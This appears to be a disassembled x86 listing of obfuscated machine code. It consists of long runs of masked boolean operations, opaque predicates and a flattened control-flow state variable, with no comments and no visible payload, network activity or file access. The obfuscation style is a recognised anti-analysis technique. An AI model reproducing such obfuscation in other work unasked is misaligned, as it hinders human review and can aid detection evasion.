mov al, byte [ebp - 0x7d9]
mov byte [ebp - 0x7e0], cl
xor al, 0xff
mov cl, ch
xor cl, al
mov al, byte [ebp - 0x7e1]
and cl, ch
mov ch, bh
and ch, al
xor bh, al
mov al, byte [ebp - 0x7e0]
or ch, bh
mov byte [ebp - 0x7db], ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x7dc], bh
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x7dd], ch
mov ch, 1
xor ch, 1
and bh, 0xff
and al, ch
mov byte [ebp - 0x7df], al
mov al, byte [ebp - 0x7dd]
and al, 0xff
mov byte [ebp - 0x7de], al
mov al, byte [ebp - 0x7df]
and cl, ch
or bh, al
mov al, byte [ebp - 0x7de]
or al, cl
mov cl, byte [ebp - 0x7dd]
xor bh, al
mov al, byte [ebp - 0x7dc]
or al, cl
mov cl, byte [ebp - 0x7db]
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x7da], al
mov al, 1
xor al, 1
and cl, al
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, al
mov al, byte [ebp - 0x7da]
or al, cl
mov cl, byte [ebp - 0x7d9]
or ch, bh
xor al, ch
mov byte [ebp - 0x7d5], al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x7d6], ah
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
mov al, ch
and al, 1
mov byte [ebp - 0x7d8], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x7d7], al
mov al, byte [ebp - 0x7d8]
and cl, ch
or ah, al
mov al, byte [ebp - 0x7d7]
or al, cl
mov cl, byte [ebp - 0x7d6]
xor ah, al
mov al, byte [ebp - 0x7d5]
or cl, bh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
mov byte [ebp - 0x7d3], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
mov ah, 1
xor ah, 0
mov ch, al
xor ch, ah
and ch, al
xor dh, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x7d4], al
mov al, dl
xor al, 0xff
mov ah, bl
xor ah, al
mov al, byte [ebp - 0x7d4]
and ah, bl
mov bl, ch
and bl, dh
xor ch, dh
or bl, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x7d3]
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x7cf], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x7d2], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x7d1], al
mov al, byte [ebp - 0x7d2]
and cl, dh
or ch, al
mov al, byte [ebp - 0x7d1]
or al, cl
mov cl, byte [ebp - 0x7d0]
xor ch, al
mov al, byte [ebp - 0x7cf]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
or ah, ch
mov ch, dl
and ch, 0
xor dl, 0
or ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or ah, ch
or dl, 0
xor ah, 0xff
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, bh
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, dl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x7ce]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov byte [ebp - 0x7c4], dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and bl, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, bl
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 0
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
or bl, dl
mov dl, bl
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x7cd], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, al
mov al, byte [ebp - 0x7cd]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, al
and cl, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, bh
mov bh, byte [ebp - 0x7cc]
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dl, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or ah, dl
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x7c8], cl
mov dl, bh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, bh
and al, ch
or dl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, 1
xor dh, 1
mov al, cl
xor al, dh
and al, cl
mov cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov byte [ebp - 0x7cb], cl
mov dh, dl
xor dh, 0xff
mov cl, 1
xor cl, 1
mov bl, 1
xor bl, 1
or dh, cl
mov cl, byte [ebp - 0x7cb]
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x7c5], dh
xor bh, 0xff
mov bl, ch
xor bl, 0xff
mov dh, 1
xor dh, 0
or bh, bl
or dh, 0
xor bh, 0xff
and bh, dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x7c7], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x7c6], cl
mov dh, bl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x7cb]
mov byte [ebp - 0x7ca], al
mov al, byte [ebp - 0x7c7]
and al, 0
mov byte [ebp - 0x7c9], al
mov al, byte [ebp - 0x7c6]
and cl, al
mov al, byte [ebp - 0x7ca]
or dh, al
mov al, byte [ebp - 0x7c9]
or al, cl
mov cl, byte [ebp - 0x7c8]
xor dh, al
mov al, byte [ebp - 0x7c7]
or bl, al
mov al, byte [ebp - 0x7c6]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x7c5]
or dh, bl
mov bl, al
and bl, bh
xor al, bh
or bl, al
mov bh, dh
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and dh, bl
or al, dh
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
mov dl, ch
and dl, 1
xor ch, 1
or dl, ch
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x7c4]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and cl, dl
or ch, cl
mov cl, ah
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7ce612b
mov ecx, 0x409e349a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x523a51ef
jmp 0x4b4ff5
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, 0xe322415c
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, 0xf6e7871e
add edx, esi
sub edx, 0xff4cc06b
sub edx, 0xe322415c
add edx, 0xff4cc06b
xor esi, esi
sub esi, 0xe9c240a3
sub edx, esi
sub edx, 0xf4c17127
sub edx, 1
add edx, 0xf4c17127
xor esi, esi
sub esi, 0xe9c240a3
add edx, esi
xor esi, esi
sub esi, 0x5c16a11c
add edx, esi
add edx, 0xa4a1db63
add edx, 0xf6e7871e
sub edx, 0xa4a1db63
xor esi, esi
sub esi, 0x5c16a11c
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ch
mov dl, ch
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, bl
xor al, 0xff
mov cl, dl
and cl, al
xor dl, 0xff
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, bl
and dl, ah
or al, dl
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov ch, al
and ch, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and bl, dl
or ch, bh
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or ah, al
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov byte [ebp - 0x827], bl
mov dh, 1
xor dh, 0
mov al, dl
xor al, dh
and al, dl
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov dh, 1
xor dh, 1
or cl, bh
or dh, 1
xor cl, 0xff
and cl, dh
mov bh, 1
xor bh, 0
mov dh, ah
xor dh, bh
and dh, ah
mov byte [ebp - 0x82b], dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x82c], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and al, bl
mov byte [ebp - 0x82e], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x82d], al
mov al, byte [ebp - 0x82e]
and cl, bl
or dh, al
mov al, byte [ebp - 0x82d]
or al, cl
mov cl, byte [ebp - 0x82c]
xor dh, al
mov al, byte [ebp - 0x82b]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x828], ch
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and ch, 0
and al, bl
mov byte [ebp - 0x82a], al
mov al, bh
and al, 0
mov byte [ebp - 0x829], al
mov al, byte [ebp - 0x82a]
and cl, bl
or ch, al
mov al, byte [ebp - 0x829]
or al, cl
mov cl, byte [ebp - 0x828]
xor ch, al
mov al, byte [ebp - 0x827]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbaf01eb7
mov ecx, 0x389db1e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
mov esi, 0x1fa9bb7d
add esi, 0
sub esi, 0x28ad5340
sub esi, 0x1fa9bb7d
mov edx, ecx
add edx, 0x70fdd2f7
add edx, esi
sub edx, 0x70fdd2f7
xor esi, esi
sub esi, 0xb26f86c5
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xc6f3b23b
sub edx, 0xb26f86c5
sub edx, 0xc6f3b23b
xor esi, esi
sub esi, 0xb8002226
sub esi, 0x28ad5340
add esi, 0xb8002226
sub edx, 0xf814ad92
sub edx, esi
add edx, 0xf814ad92
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x865], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov bh, bl
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov dh, al
and dh, 0xff
and cl, dl
mov ch, ah
and ch, 0xff
and bh, dl
or dh, cl
mov cl, byte [ebp - 0x865]
or ch, bh
xor dh, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, bh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x873], ch
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov ah, dl
and ah, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x873]
or ah, bh
xor ch, ah
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bh
or al, dl
xor ah, al
mov byte [ebp - 0x870], ah
mov dl, 1
xor dl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov byte [ebp - 0x872], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x871], al
mov al, byte [ebp - 0x872]
and ah, 1
or bh, al
mov al, byte [ebp - 0x871]
or al, ah
xor bh, al
mov al, 1
xor al, 1
mov ah, bh
xor ah, al
mov al, byte [ebp - 0x870]
and ah, bh
mov byte [ebp - 0x86f], ah
mov bh, 1
xor bh, 1
xor al, 0xff
mov ah, 1
xor ah, 0
or bh, al
mov al, byte [ebp - 0x86f]
or ah, 0
xor bh, 0xff
and bh, ah
mov byte [ebp - 0x86e], bh
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x86a], dl
xor bh, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x86b], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x86e]
mov byte [ebp - 0x86d], al
mov al, bh
and al, 0
mov byte [ebp - 0x86c], al
mov al, byte [ebp - 0x86b]
and cl, al
mov al, byte [ebp - 0x86d]
or dl, al
mov al, byte [ebp - 0x86c]
or al, cl
mov cl, byte [ebp - 0x86b]
xor dl, al
mov al, byte [ebp - 0x86a]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ah, bh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bh
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x839], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov ah, 1
xor ah, 1
and ah, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, bh
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x866], al
mov ah, 1
xor ah, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x867], al
mov bh, 1
xor bh, 1
mov dl, ah
and dl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x869], al
mov al, byte [ebp - 0x867]
and al, 0xff
mov byte [ebp - 0x868], al
mov al, byte [ebp - 0x869]
and cl, bh
or dl, al
mov al, byte [ebp - 0x868]
or al, cl
mov cl, byte [ebp - 0x867]
xor dl, al
mov al, byte [ebp - 0x866]
or ah, cl
mov cl, byte [ebp - 0x839]
xor ah, 0xff
or bh, 1
and ah, bh
or dl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and al, bh
or ah, al
xor ah, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov bh, cl
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
and cl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, cl
mov cl, byte [ebp - 0x839]
or al, dl
xor bh, al
mov al, bl
xor al, 0xff
mov dl, bh
and dl, al
xor bh, 0xff
mov al, bl
and al, bh
or dl, al
xor bl, 0xff
mov al, dl
xor al, bl
and al, dl
mov byte [ebp - 0x85c], al
mov bl, 1
xor bl, 1
and bl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or bl, al
mov al, byte [ebp - 0x865]
or dl, bh
xor bl, dl
mov dl, ch
xor dl, 0xff
mov bh, bl
and bh, dl
xor bl, 0xff
mov dl, ch
and dl, bl
or bh, dl
xor bh, 0xff
mov bl, ch
xor bl, 0xff
mov dl, 1
xor dl, 1
or bh, bl
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and cl, bl
or dl, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0x864], cl
and al, cl
mov cl, byte [ebp - 0x865]
mov byte [ebp - 0x863], al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0x862], al
mov al, byte [ebp - 0x864]
and dl, al
mov al, byte [ebp - 0x863]
or bl, al
mov al, byte [ebp - 0x862]
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
and al, 1
mov byte [ebp - 0x861], al
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x860], al
mov al, byte [ebp - 0x861]
and dl, 1
or al, cl
mov cl, byte [ebp - 0x860]
or cl, dl
mov dl, byte [ebp - 0x85c]
xor al, cl
mov byte [ebp - 0x84b], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0x84b]
or cl, dl
mov byte [ebp - 0x84c], cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
xor al, 0xff
mov byte [ebp - 0x85f], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
mov byte [ebp - 0x85e], al
mov al, byte [ebp - 0x85f]
or al, cl
mov cl, byte [ebp - 0x85e]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x85b], al
mov al, dl
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0x84c]
and cl, ah
mov byte [ebp - 0x85d], cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov ah, 1
xor ah, 0
or al, cl
mov cl, byte [ebp - 0x85d]
or ah, 0
xor al, 0xff
and al, ah
mov ah, byte [ebp - 0x85c]
mov byte [ebp - 0x85a], al
mov al, dl
xor al, 0xff
xor ah, al
mov al, byte [ebp - 0x85c]
and ah, al
mov al, byte [ebp - 0x85b]
mov byte [ebp - 0x859], ah
mov ah, al
and ah, cl
xor al, cl
mov cl, byte [ebp - 0x85a]
or ah, al
mov al, byte [ebp - 0x859]
mov byte [ebp - 0x851], ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x853], al
mov al, 1
xor al, 1
mov byte [ebp - 0x852], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x857], al
mov al, byte [ebp - 0x852]
and cl, al
mov al, byte [ebp - 0x859]
mov byte [ebp - 0x858], cl
mov cl, byte [ebp - 0x853]
and cl, 0xff
mov byte [ebp - 0x855], cl
mov cl, byte [ebp - 0x852]
and al, cl
mov cl, byte [ebp - 0x858]
mov byte [ebp - 0x856], al
mov al, byte [ebp - 0x857]
or al, cl
mov cl, byte [ebp - 0x856]
mov byte [ebp - 0x854], al
mov al, byte [ebp - 0x855]
or al, cl
mov cl, byte [ebp - 0x854]
xor cl, al
mov al, byte [ebp - 0x853]
or ah, al
mov al, byte [ebp - 0x852]
xor ah, 0xff
or al, 1
and ah, al
mov al, byte [ebp - 0x851]
or cl, ah
mov byte [ebp - 0x850], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x84f], cl
and al, cl
mov cl, byte [ebp - 0x850]
mov byte [ebp - 0x84e], al
mov al, cl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x84d], al
mov al, byte [ebp - 0x84f]
and cl, al
mov al, byte [ebp - 0x84e]
or ah, al
mov al, byte [ebp - 0x84d]
or al, cl
mov cl, byte [ebp - 0x84c]
xor ah, al
mov al, byte [ebp - 0x84b]
mov byte [ebp - 0x84a], ah
mov ah, al
and ah, cl
xor al, cl
mov cl, byte [ebp - 0x84a]
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov byte [ebp - 0x849], al
mov al, 1
xor al, 1
and ah, al
mov al, byte [ebp - 0x849]
or al, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x840], al
mov ah, bh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov dl, bh
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov byte [ebp - 0x847], ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov byte [ebp - 0x844], dl
mov al, 1
xor al, 1
xor ah, al
mov al, byte [ebp - 0x847]
and ah, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, 1
xor al, 1
mov dl, cl
xor dl, al
mov al, byte [ebp - 0x844]
and dl, cl
mov byte [ebp - 0x848], dl
xor al, 0xff
mov dl, bl
xor dl, al
mov al, byte [ebp - 0x848]
and dl, bl
mov bl, ah
and bl, bh
xor ah, bh
or bl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, al
mov al, byte [ebp - 0x847]
or bh, bl
or dl, ah
xor bh, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x843], bl
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
and bl, 0xff
and al, dl
mov byte [ebp - 0x846], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x845], al
mov al, byte [ebp - 0x846]
and cl, dl
or bl, al
mov al, byte [ebp - 0x845]
or al, cl
mov cl, byte [ebp - 0x844]
xor bl, al
mov al, byte [ebp - 0x843]
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, bl
or dl, ah
xor al, dl
mov byte [ebp - 0x83e], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83f], al
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x842], al
mov al, byte [ebp - 0x83f]
and al, 0xff
mov byte [ebp - 0x841], al
mov al, byte [ebp - 0x842]
and cl, bl
or ah, al
